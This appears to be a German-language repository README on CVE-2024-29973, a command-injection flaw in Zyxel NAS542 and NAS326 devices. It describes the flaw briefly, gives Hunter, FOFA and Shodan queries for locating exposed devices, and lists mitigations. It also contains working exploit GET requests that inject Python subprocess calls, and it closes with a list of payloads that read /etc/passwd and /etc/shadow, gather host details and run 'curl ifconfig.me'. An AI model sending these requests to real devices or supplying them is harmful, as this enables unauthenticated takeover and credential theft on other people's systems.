kernel364/cve-2024-29973
Bei CVE-2024-29973 handelt es sich um eine kritische Sicherheitslücke in bestimmten Netzwerkgeräten von Zyxel. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle auf dem Zielgerät auszuführen, indem unsachgemäße Mechanismen zur Eingabevalidierung in der Firmware ausgenutzt werden. Angreifer können speziell gestaltete HTTP-Anfragen an das Gerät senden, systemnahe Befehle einschleusen und möglicherweise die vollständige Kontrolle über das Gerät erlangen.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Befehlsinjektion: Die Schwachstelle entsteht durch eine unzureichende Eingabebereinigung in einer der Weboberflächen des Geräts. Dieser Fehler ermöglicht es Angreifern, Betriebssystembefehle in Parameter von HTTP-Anfragen einzufügen.
Exploit-Beispiel: Angreifer können über eine HTTP-GET-Anfrage wie die folgende Befehle einschleusen, um beliebigen Code auszuführen:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Auswirkung: Eine erfolgreiche Ausnutzung führt zur Möglichkeit, Systembefehle auszuführen, was potenziell eine Fernsteuerung des Geräts, Datenlecks oder eine weitere Beeinträchtigung des Netzwerks zur Folge haben kann.
Um die mit dieser Schwachstelle verbundenen Risiken zu mindern, befolgen Sie diese Schritte:
Firmware-Update: Stellen Sie sicher, dass alle Zyxel-Geräte auf die neueste Firmware-Version aktualisiert werden. Zyxel hat Patches veröffentlicht, die diese Schwachstelle beheben. Prüfen Sie regelmäßig auf Updates und wenden Sie diese umgehend an.
Netzwerksegmentierung: Isolieren Sie anfällige Geräte von der kritischen Netzwerkinfrastruktur. Legen Sie nur notwendige Dienste offen und stellen Sie sicher, dass administrative Schnittstellen nicht öffentlich zugänglich sind.
Firewall-Konfiguration: Beschränken Sie ein- und ausgehenden Datenverkehr auf essenzielle Dienste. Blockieren Sie unnötigen HTTP-Zugriff auf Zyxel-Geräte.
Überwachung auf verdächtige Aktivitäten: Implementieren Sie Protokollierungs- und Überwachungstools, die ungewöhnliches Verhalten erkennen und warnen können, wie etwa wiederholte Anmeldeversuche oder abnormale Datenverkehrsmuster.
Referenzen National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1